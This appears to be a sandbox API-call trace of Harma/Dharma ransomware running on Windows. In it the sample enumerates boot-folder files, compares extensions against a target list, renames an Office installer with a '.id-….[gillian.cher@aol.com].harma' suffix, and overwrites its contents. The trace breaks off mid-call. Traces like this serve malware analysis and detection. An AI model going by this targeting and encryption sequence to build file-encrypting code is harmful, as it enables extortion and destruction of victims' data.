lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0039.670] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0039.670] lstrlenW (lpString=".zip") returned 4 [0039.670] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0039.670] lstrlenW (lpString=".rar") returned 4 [0039.670] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0039.670] lstrlenW (lpString=".bz2") returned 4 [0039.670] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0039.670] lstrlenW (lpString=".7z") returned 3 [0039.670] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0039.670] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0039.670] lstrlenW (lpString=".dbf") returned 4 [0039.670] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0039.670] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0039.670] lstrlenW (lpString=".1cd") returned 4 [0039.670] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0039.670] lstrlenW (lpString="C:\\Boot\\fr-FR\\bootmgr.exe.mui") returned 29 [0039.670] lstrlenW (lpString=".jpg") returned 4 [0039.670] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0039.671] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0039.671] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0039.671] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0039.671] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=90688) returned 1 [0039.671] CloseHandle (hObject=0x168) returned 1 [0039.671] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui")) returned 0x20 [0039.671] GetFileAttributesW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0039.671] CreateFileW (lpFileName="C:\\Boot\\hu-HU\\bootmgr.exe.mui" (normalized: "c:\\boot\\hu-hu\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.671] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0039.671] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0039.671] lstrlenW (lpString=".doc") returned 4 [0039.672] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0039.672] lstrlenW (lpString=".docx") returned 5 [0039.672] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0039.672] lstrlenW (lpString=".pdf") returned 4 [0039.672] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0039.672] lstrlenW (lpString=".xls") returned 4 [0039.672] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0039.672] lstrlenW (lpString=".xlsx") returned 5 [0039.672] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0039.672] lstrlenW (lpString=".ppt") returned 4 [0039.672] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0039.672] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0039.672] lstrlenW (lpString=".zip") returned 4 [0039.672] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0039.672] lstrlenW (lpString=".rar") returned 4 [0039.672] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0039.672] lstrlenW (lpString=".bz2") returned 4 [0039.672] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0039.672] lstrlenW (lpString=".7z") returned 3 [0039.672] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0039.672] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0039.672] lstrlenW (lpString=".dbf") returned 4 [0039.672] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0039.672] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0039.672] lstrlenW (lpString=".1cd") returned 4 [0039.672] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0039.673] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0039.673] lstrlenW (lpString=".jpg") returned 4 [0039.673] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0039.673] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0039.673] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0039.673] lstrlenW (lpString=".doc") returned 4 [0039.673] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0039.673] lstrlenW (lpString=".docx") returned 5 [0039.673] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0039.673] lstrlenW (lpString=".pdf") returned 4 [0039.673] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0039.673] lstrlenW (lpString=".xls") returned 4 [0039.673] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0039.673] lstrlenW (lpString=".xlsx") returned 5 [0039.673] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0039.673] lstrlenW (lpString=".ppt") returned 4 [0039.673] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0039.673] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0039.673] lstrlenW (lpString=".zip") returned 4 [0039.673] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0039.673] lstrlenW (lpString=".rar") returned 4 [0039.673] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0039.673] lstrlenW (lpString=".bz2") returned 4 [0039.674] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0039.674] lstrlenW (lpString=".7z") returned 3 [0039.674] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0039.674] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0039.674] lstrlenW (lpString=".dbf") returned 4 [0039.674] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0039.674] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0039.674] lstrlenW (lpString=".1cd") returned 4 [0039.674] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0039.674] lstrlenW (lpString="C:\\Boot\\hu-HU\\bootmgr.exe.mui") returned 29 [0039.674] lstrlenW (lpString=".jpg") returned 4 [0039.674] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0039.674] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0039.674] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0039.674] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0039.675] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=90704) returned 1 [0039.675] CloseHandle (hObject=0x168) returned 1 [0039.675] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui")) returned 0x20 [0039.675] GetFileAttributesW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0039.675] CreateFileW (lpFileName="C:\\Boot\\it-IT\\bootmgr.exe.mui" (normalized: "c:\\boot\\it-it\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.675] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0039.675] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0039.675] lstrlenW (lpString=".doc") returned 4 [0039.675] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0039.675] lstrlenW (lpString=".docx") returned 5 [0039.675] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0039.675] lstrlenW (lpString=".pdf") returned 4 [0039.675] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0039.675] lstrlenW (lpString=".xls") returned 4 [0039.675] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0039.675] lstrlenW (lpString=".xlsx") returned 5 [0039.675] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0039.676] lstrlenW (lpString=".ppt") returned 4 [0039.676] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0039.676] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0039.676] lstrlenW (lpString=".zip") returned 4 [0039.676] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0039.676] lstrlenW (lpString=".rar") returned 4 [0039.676] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0039.676] lstrlenW (lpString=".bz2") returned 4 [0039.676] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0039.676] lstrlenW (lpString=".7z") returned 3 [0039.676] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0039.676] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0039.676] lstrlenW (lpString=".dbf") returned 4 [0039.676] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0039.676] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0039.676] lstrlenW (lpString=".1cd") returned 4 [0039.676] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0039.676] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0039.676] lstrlenW (lpString=".jpg") returned 4 [0039.676] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0039.676] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0039.676] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0039.676] lstrlenW (lpString=".doc") returned 4 [0039.676] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0039.677] lstrlenW (lpString=".docx") returned 5 [0039.677] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0039.677] lstrlenW (lpString=".pdf") returned 4 [0039.677] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0039.677] lstrlenW (lpString=".xls") returned 4 [0039.677] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0039.677] lstrlenW (lpString=".xlsx") returned 5 [0039.677] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0039.677] lstrlenW (lpString=".ppt") returned 4 [0039.677] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0039.677] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0039.677] lstrlenW (lpString=".zip") returned 4 [0039.677] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0039.677] lstrlenW (lpString=".rar") returned 4 [0039.677] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0039.677] lstrlenW (lpString=".bz2") returned 4 [0039.677] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0039.677] lstrlenW (lpString=".7z") returned 3 [0039.677] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0039.677] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0039.677] lstrlenW (lpString=".dbf") returned 4 [0039.677] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0039.677] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0039.677] lstrlenW (lpString=".1cd") returned 4 [0039.677] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0039.677] lstrlenW (lpString="C:\\Boot\\it-IT\\bootmgr.exe.mui") returned 29 [0039.678] lstrlenW (lpString=".jpg") returned 4 [0039.678] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0039.678] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0039.678] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0039.678] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0039.678] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=76352) returned 1 [0039.678] CloseHandle (hObject=0x168) returned 1 [0039.678] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui")) returned 0x20 [0039.678] GetFileAttributesW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0039.679] CreateFileW (lpFileName="C:\\Boot\\ja-JP\\bootmgr.exe.mui" (normalized: "c:\\boot\\ja-jp\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.679] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0039.679] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0039.679] lstrlenW (lpString=".doc") returned 4 [0039.679] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0039.679] lstrlenW (lpString=".docx") returned 5 [0039.679] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0039.679] lstrlenW (lpString=".pdf") returned 4 [0039.679] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0039.679] lstrlenW (lpString=".xls") returned 4 [0039.679] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0039.679] lstrlenW (lpString=".xlsx") returned 5 [0039.679] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0039.679] lstrlenW (lpString=".ppt") returned 4 [0039.679] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0039.679] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0039.679] lstrlenW (lpString=".zip") returned 4 [0039.679] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0039.679] lstrlenW (lpString=".rar") returned 4 [0039.679] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0039.679] lstrlenW (lpString=".bz2") returned 4 [0039.680] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0039.680] lstrlenW (lpString=".7z") returned 3 [0039.680] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0039.680] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0039.680] lstrlenW (lpString=".dbf") returned 4 [0039.680] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0039.680] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0039.680] lstrlenW (lpString=".1cd") returned 4 [0039.680] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0039.680] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0039.680] lstrlenW (lpString=".jpg") returned 4 [0039.680] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0039.680] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0039.680] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0039.680] lstrlenW (lpString=".doc") returned 4 [0039.680] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0039.680] lstrlenW (lpString=".docx") returned 5 [0039.680] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0039.680] lstrlenW (lpString=".pdf") returned 4 [0039.680] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0039.680] lstrlenW (lpString=".xls") returned 4 [0039.680] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0039.680] lstrlenW (lpString=".xlsx") returned 5 [0039.680] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0039.680] lstrlenW (lpString=".ppt") returned 4 [0039.680] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0039.680] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0039.680] lstrlenW (lpString=".zip") returned 4 [0039.680] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0039.680] lstrlenW (lpString=".rar") returned 4 [0039.680] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0039.680] lstrlenW (lpString=".bz2") returned 4 [0039.681] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0039.681] lstrlenW (lpString=".7z") returned 3 [0039.681] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0039.681] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0039.681] lstrlenW (lpString=".dbf") returned 4 [0039.681] lstrcmpiW (lpString1=".dbf", lpString2=".mui") returned -1 [0039.681] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0039.681] lstrlenW (lpString=".1cd") returned 4 [0039.681] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0039.681] lstrlenW (lpString="C:\\Boot\\ja-JP\\bootmgr.exe.mui") returned 29 [0039.681] lstrlenW (lpString=".jpg") returned 4 [0039.681] lstrcmpiW (lpString1=".jpg", lpString2=".mui") returned -1 [0039.681] lstrcmpiW (lpString1=".mui", lpString2=".harma") returned 1 [0039.681] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0039.681] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x168 [0039.681] GetFileSizeEx (in: hFile=0x168, lpFileSize=0x33aff1c | out: lpFileSize=0x33aff1c*=75344) returned 1 [0039.681] CloseHandle (hObject=0x168) returned 1 [0039.681] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui")) returned 0x20 [0039.682] GetFileAttributesW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0039.682] CreateFileW (lpFileName="C:\\Boot\\ko-KR\\bootmgr.exe.mui" (normalized: "c:\\boot\\ko-kr\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0039.682] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0039.682] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0039.682] lstrlenW (lpString=".doc") returned 4 [0039.682] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0039.682] lstrlenW (lpString=".docx") returned 5 [0039.682] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0039.682] lstrlenW (lpString=".pdf") returned 4 [0039.682] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0039.682] lstrlenW (lpString=".xls") returned 4 [0039.682] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0039.682] lstrlenW (lpString=".xlsx") returned 5 [0039.682] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0039.682] lstrlenW (lpString=".ppt") returned 4 [0039.683] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0039.683] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0039.683] lstrlenW (lpString=".zip") returned 4 [0039.683] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0039.683] lstrlenW (lpString=".rar") returned 4 [0039.683] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0039.683] lstrlenW (lpString=".bz2") returned 4 [0039.683] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0039.683] lstrlenW (lpString=".7z") returned 3 [0039.683] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0039.683] lstrlenW (lpString="C:\\Boot\\ko-KR\\bootmgr.exe.mui") returned 29 [0039.683] lstrcmpiW (lpString1=".exe", lpString2=".harma") returned -1 [0040.772] MoveFileW (lpExistingFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi"), lpNewFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[gillian.cher@aol.com].harma")) returned 1 [0040.790] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-0016-0409-1000-0000000ff1ce}-c\\excelmui.msi.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0040.790] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc6c | out: lpNewFilePointer=0x0) returned 1 [0040.790] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc2c | out: lpNewFilePointer=0x0) returned 1 [0040.790] ReadFile (in: hFile=0x184, lpBuffer=0x3cb0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc38, lpOverlapped=0x0 | out: lpBuffer=0x3cb0058*, lpNumberOfBytesRead=0x33afc38*=0x40000, lpOverlapped=0x0) returned 1 [0040.947] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x33afc2c | out: lpNewFilePointer=0x0) returned 1 [0040.947] ReadFile (in: hFile=0x184, lpBuffer=0x3cf0058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc38, lpOverlapped=0x0 | out: lpBuffer=0x3cf0058*, lpNumberOfBytesRead=0x33afc38*=0x40000, lpOverlapped=0x0) returned 1 [0041.076] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x33afc6c | out: lpNewFilePointer=0xffffffff) returned 1 [0041.076] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x33afc2c | out: lpNewFilePointer=0x0) returned 1 [0041.076] ReadFile (in: hFile=0x184, lpBuffer=0x3d30058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x33afc38, lpOverlapped=0x0 | out: lpBuffer=0x3d30058*, lpNumberOfBytesRead=0x33afc38*=0x40000, lpOverlapped=0x0) returned 1 [0041.179] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afec8 | out: lpNewFilePointer=0x0) returned 1 [0041.179] WriteFile (in: hFile=0x184, lpBuffer=0x3cb0020*, nNumberOfBytesToWrite=0xc0104, lpNumberOfBytesWritten=0x33afcb0, lpOverlapped=0x0 | out: lpBuffer=0x3cb0020*, lpNumberOfBytesWritten=0x33afcb0*=0xc0104, lpOverlapped=0x0) returned 1 [0041.522] SetEndOfFile (hFile=0x184) returned 1 [0041.522] RtlAllocateHeap (HeapHandle=0x5a0000, Flags=0x0, Size=0x40000) returned 0x3f234d0 [0041.523] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33afc7c | out: lpNewFilePointer=0x0) returned 1 [0041.523] WriteFile (in: hFile=0x184, lpBuffer=0x3f234d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f234d0*, lpNumberOfBytesWritten=0x33afc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.525] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0xcbf55, lpNewFilePointer=0x0, dwMoveMethod=0x33afc7c | out: lpNewFilePointer=0x0) returned 1 [0041.525] WriteFile (in: hFile=0x184, lpBuffer=0x3f234d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f234d0*, lpNumberOfBytesWritten=0x33afc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.532] SetFilePointerEx (in: hFile=0x184, liDistanceToMove=0x223e00, lpNewFilePointer=0x0, dwMoveMethod=0x33afc7c | out: lpNewFilePointer=0x0) returned 1 [0041.532] WriteFile (in: hFile=0x184, lpBuffer=0x3f234d0*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x33afc88, lpOverlapped=0x0 | out: lpBuffer=0x3f234d0*, lpNumberOfBytesWritten=0x33afc88*=0x40000, lpOverlapped=0x0) returned 1 [0041.536] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x3f234d0 | out: hHeap=0x5a0000) returned 1 [0041.536] CloseHandle (hObject=0x184) returned 1 [0043.782] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0043.782] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0043.782] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0043.782] lstrlenW (lpString=".doc") returned 4 [0043.782] lstrcmpiW (lpString1=".doc", lpString2=".msi") returned -1 [0043.782] lstrlenW (lpString=".docx") returned 5 [0043.782] lstrcmpiW (lpString1=".docx", lpString2="I.msi") returned -1 [0043.782] lstrlenW (lpString=".pdf") returned 4 [0043.782] lstrcmpiW (lpString1=".pdf", lpString2=".msi") returned 1 [0043.782] lstrlenW (lpString=".xls") returned 4 [0043.783] lstrcmpiW (lpString1=".xls", lpString2=".msi") returned 1 [0043.783] lstrlenW (lpString=".xlsx") returned 5 [0043.783] lstrcmpiW (lpString1=".xlsx", lpString2="I.msi") returned -1 [0043.783] lstrlenW (lpString=".ppt") returned 4 [0043.783] lstrcmpiW (lpString1=".ppt", lpString2=".msi") returned 1 [0043.783] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0016-0409-1000-0000000FF1CE}-C\\ExcelMUI.msi") returned 75 [0043.783] lstrlenW (lpString=".zip") returned 4 [0043.783] lstrcmpiW (lpString1=".zip", lpString2=".msi") returned 1 [0043.783] lstrlenW (lpString=".rar") returned 4 [0043.783] lstrcmpiW (lpString1=".rar", lpString2=".msi") returned 1 [0043.783] lstrlenW (lpString=".bz2") returned 4 [0043.783] lstrcmpiW 